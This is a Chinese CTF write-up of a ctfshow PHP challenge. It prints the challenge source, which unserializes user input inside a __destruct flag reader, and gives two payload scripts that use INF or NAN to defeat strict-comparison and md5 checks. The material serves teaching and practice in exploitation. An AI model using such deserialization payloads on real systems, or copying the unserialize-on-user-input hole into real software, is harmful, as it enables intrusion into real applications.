Web
好玩的PHP
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| <?php error_reporting(0); highlight_file(__FILE__);
class ctfshow { private $d = ''; private $s = ''; private $b = ''; private $ctf = '';
public function __destruct() { $this->d = (string)$this->d; $this->s = (string)$this->s; $this->b = (string)$this->b;
if (($this->d != $this->s) && ($this->d != $this->b) && ($this->s != $this->b)) { $dsb = $this->d.$this->s.$this->b;
if ((strlen($dsb) <= 3) && (strlen($this->ctf) <= 3)) { if (($dsb !== $this->ctf) && ($this->ctf !== $dsb)) { if (md5($dsb) === md5($this->ctf)) { echo file_get_contents("/flag.txt"); } } } } } }
unserialize($_GET["dsbctf"]);
|
审计源码,发现在ctfshow类中只有魔术方法__destruct(),由于该方法在PHP程序执行结束后自动调用,因此只需要构造合适的payload满足__destruct()中的条件即可拿到flag。
ctfshow类中一共有4个变量,其中前三个变量$d、$s、$b会被强制转成字符串类型,并且这三个变量的值互不相等,满足这一条件后会将三个变量拼接起来,得到一个新的字符串变量$dsb,进入第二个if判断。
在第二个if判断中,需要满足变量$dsb和$ctf的长度都不超过3,满足条件后进入第三个if判断。
在第三个if判断中,需要满足变量$dsb和$ctf的值不相等,并且比较类型为强类型,因此无法通过弱类型绕过,满足条件后进入最后一个if判断。
在最后一个if判断中,需要满足变量$dsb和$ctf的md5值相同,满足条件后拿到flag。
基于上述的条件,可以用PHP中的特殊浮点数常量NAN和INF来构造payload,因为将这两个常量转成字符串类型之后的MD5值与原先的浮点类型MD5值相等,又由于类型不相等、长度均为3,所以可以满足最后三个if判断。由于在第一个判断条件要求变量$dsb的三个字符不相等,因此只能取INF来构造payload
1 2 3 4 5 6 7 8 9 10 11
| <?php class ctfshow { private $d = 'I'; private $s = 'N'; private $b = 'F'; private $ctf = INF; }
$dsbctf = new ctfshow();
echo urlencode(serialize($dsbctf));
|
如下图

我们也可以
1 2 3 4 5 6 7 8 9 10 11
| <?php class ctfshow { private $d = 'N'; private $s = 'AN'; private $b = ''; private $ctf = NAN; }
$dsbctf = new ctfshow();
echo urlencode(serialize($dsbctf));
|
迷雾重重